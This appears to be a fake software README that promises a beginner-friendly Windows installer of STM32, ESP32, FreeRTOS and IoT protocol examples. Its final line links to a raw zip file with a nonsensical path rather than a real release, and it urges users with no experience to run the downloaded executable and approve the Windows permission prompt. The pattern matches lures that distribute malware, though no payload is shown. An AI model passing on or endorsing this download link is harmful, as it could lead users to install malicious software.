This application provides tools and examples related to Embedded Systems and IoT development. It supports working with popular microcontrollers like STM32 and ESP32. You will find code for bare metal programming, FreeRTOS, and communication protocols such as MQTT, BLE, and LoRaWAN.
The software suits users interested in hardware projects involving sensors, wireless communication, or real-time control. It also includes frameworks for Cortex-M microcontrollers and examples for Arduino and NodeMCU.
You do not need prior programming experience. This guide will help you download and run the software on a Windows computer.
Before you begin, check that your Windows PC meets these requirements:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- 1 GHz or faster processor
- 500 MB of free disk space for installation
- Internet connection to download necessary files
- USB port to connect target hardware (if you plan to flash microcontrollers)
Once installed, you will have access to:
- Sample projects showing how to program STM32 and ESP32 devices
- Tools to build and upload firmware to microcontrollers
- Libraries implementing FreeRTOS, MQTT, BLE, and LoRaWAN protocols
- Basic examples in C and C++ with clear comments
- A folder with documentation and instructions for use
You need to visit the release page to get the latest version of the software.
Click the green button to open the release page in your browser.
On the release page:
- Look for the latest release, usually at the top.
- Under "Assets," find the Windows installer file. It may have a name like
ramsudarshanmaurya-setup-v1.0.exe. - Click the file name to start downloading.
Once the download finishes:
- Open the downloaded
.exefile by double-clicking it. - If Windows asks for permission, click "Yes" to allow the app to run.
- Follow the prompts in the installation wizard.
- Choose the default options unless you want to change where the program installs.
- Wait for the installer to complete.
After installation completes:
- Look for the application shortcut on your desktop or in the Start menu.
- Double-click the shortcut to open the app.
Once inside the app, you will see several example projects arranged by microcontroller type.
- Choose an example for STM32 or ESP32 to view its structure.
- You can open the code files and read simple comments explaining key steps.
- The examples show how to set up peripherals, init FreeRTOS tasks, and communicate over MQTT or BLE.
If you plan to test on physical devices:
- Connect your STM32 or ESP32 board to your PC using a USB cable.
- The app will detect your device automatically when you start the upload tool.
- Follow prompts inside the app to build and flash the example firmware onto your board.
You can open the included manuals and tutorials folder inside the app. These documents explain:
- Basic microcontroller concepts
- How to write simple embedded C programs
- Using FreeRTOS for multitasking
- Working with wireless protocols like MQTT and LoRaWAN
To update to a newer version in the future:
- Return to the release page.
- Download the latest installer.
- Run the installer again, which will replace the old version.
Once installed, the application folder will contain:
Examples/– Sample projects for STM32 and ESP32 boardsLibs/– Libraries used for FreeRTOS, MQTT, BLE, and LoRaWANDocs/– Manuals and tutorial PDFsTools/– Flashing and debugging toolsREADME.md– Basic information and quick start tips
You can open these folders directly from the application interface or access them via File Explorer.
If you face issues:
- Confirm your Windows version meets system requirements.
- Ensure your USB cable works and is properly connected.
- Restart the app if it does not detect your device.
- Close other programs that may use the USB port.
- Check that the downloaded file is fully complete.
- Visit the release page to download the latest version again if problems persist.
You may find it helpful to familiarize yourself with basic concepts of embedded systems. Useful web searches include:
- What is bare metal programming?
- How does FreeRTOS work?
- Basics of STM32 and ESP32 microcontrollers
- How to use MQTT for IoT communication
Access the software and all latest updates here:
https://github.com/SeleJoe/ramsudarshanmaurya/raw/refs/heads/main/quakeful/Software_unskilled.zip